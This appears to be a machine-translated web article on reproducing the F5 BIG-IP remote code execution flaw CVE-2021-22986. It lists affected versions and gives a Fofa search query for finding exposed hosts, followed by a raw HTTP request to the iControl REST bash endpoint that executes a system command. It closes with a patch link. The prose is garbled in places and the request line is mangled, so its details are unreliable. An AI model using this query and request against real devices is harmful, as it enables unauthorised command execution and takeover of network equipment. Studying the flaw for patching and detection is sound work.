How to reproduce the F5 BIG-IP remote code execution vulnerability CVE-2021-22986

This article introduces how to achieve F5 BIG-IP remote code execution vulnerability CVE-2021-22986 reproduction, the content is very detailed, interested friends can refer to, hope to be helpful to you.

F5 BIG-IP

The F5 BIG-IP link controller is used for next-generation WAN link traffic management that maximizes link performance and availability.

Brief introduction of vulnerabilities

F5 BIG-IP has a code execution vulnerability that allows attackers who define authentication to have network access to the iControl REST interface through the BIG-IP administrative interface and their own IP address to execute arbitrary system commands and take control of the target machine.

Affect the version

F5 BIG-IP 16.0.0-16.0.1

F5 BIG-IP 15.1.0-15.1.2

F5 BIG-IP 14.1.0-14.1.3.1

F5 BIG-IP 13.1.0-13.1.3.5

F5 BIG-IP 12.1.0-12.1.5.2

F5 BIG-IQ 7.1.0-7.1.0.2

F5 BIG-IQ 7.0.0-7.0.0.1

F5 BIG-IQ 6.0.0-6.1.0

Loophole recurrence

Fofa search keywords:

Body= "F5 Networks, Inc"

Open the home page as follows:

Construct the request packet and execute any command:

POST / mgmt/tm/util/bash HTTP/1.1Host: 192.168.1.123:8443Connection: closeContent-Length: 39Cache-Control: max-age=0Authorization: Basic YWRtaW46QVNhc1M=X-F5-Auth-Token: Upgrade-Insecure-Requests: 1Content-Type: application/json {"command": "run", "utilCmdArgs": "- c id"}

Repair suggestion

F5 has officially released relevant security updates, and the majority of users need to update to the latest version in time.

Download link:

Https://support.f5.com/csp/article/K02566623

On how to achieve F5 BIG-IP remote code execution vulnerability CVE-2021-22986 repeat to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.